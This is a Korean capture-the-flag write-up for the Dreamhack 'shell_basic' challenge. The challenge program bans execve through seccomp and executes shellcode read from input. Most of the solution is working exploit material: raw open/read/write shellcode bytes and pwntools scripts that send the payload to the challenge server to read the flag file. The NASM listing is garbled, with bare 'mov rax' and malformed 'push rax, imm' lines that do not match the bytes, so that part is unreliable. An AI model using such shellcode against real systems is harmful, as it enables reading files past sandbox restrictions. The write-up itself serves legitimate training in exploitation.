주어진 코드를 살펴본다.
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
우리가 입력하는 곳인 read(0, shellcode, 0x1000)를 먼저 살펴본다. 세번째 인자인 0x1000로 보아, 셸코드를 입력을 하는데 길이는 문제가 거의 되지 않을 것으로 보인다.
이 문제는 shellcraft를 이용해서 풀면 더 쉽고 빠르게 풀 수 있지만, 일단 하나하나 코드를 써보자.
section .text
global _start
_start:
mov rax
push rax, 0x676e6f6f6f6f6f6f
mov rax
push rax, 0x6c5f73695f656d61
mov rax
push rax, 0x6e5f67616c662f63
mov rax
push rax, 0x697361625f6c6c65
mov rax
push rax, 0x68732f656d6f682f
mov rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall
mov rdi, 1
mov rax, 0x1
syscall
$ nasm -f elf64 write.asm
$ objcopy --dump-section .text=write.bin write.o
$ xxd write.bin
여기서 xxd write.bin을 했을 때 나오는 16진수 값들을 바이트 값으로 전송하면 플래그를 얻을 수 있는데, 이때 push 1을 의미하는 \x6a\x00을 페이로드에 추가해야 하는데, 그 이유는 rsp와 opcode 간의 구분을 해야하기 때문이라고 한다.
어셈블리어를 이용한 파이썬 코드는 다음과 같다.
from pwn import *
p = remote("host3.dreamhack.games", 12212)
shell= b"\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05"
p.recvuntil("shellcode: ")
p.sendline(shell)
p.interactive()
사실 위의 방법과 같이 어셈블리어를 이용해서 어렵게 풀 필요없이 shellcraft를 이용하면 간단하게 문제를 해결할 수 있다. 파이썬 코드를 다음과 같이 짠다면 문제를 바로 해결할 수 있다.
from pwn import *
p = remote("host3.dreamhack.games", 12212)
fpath = "/home/shell_basic/flag_name_is_loooooong"
shell = shellcraft.open(fpath)
shell += shellcraft.read("rax", "rsp", "0x30")
shell += shellcraft.write(1, "rsp", "0x30")
p.recvuntil("shellcode: ")
p.sendline(asm(shell))
p.interactive()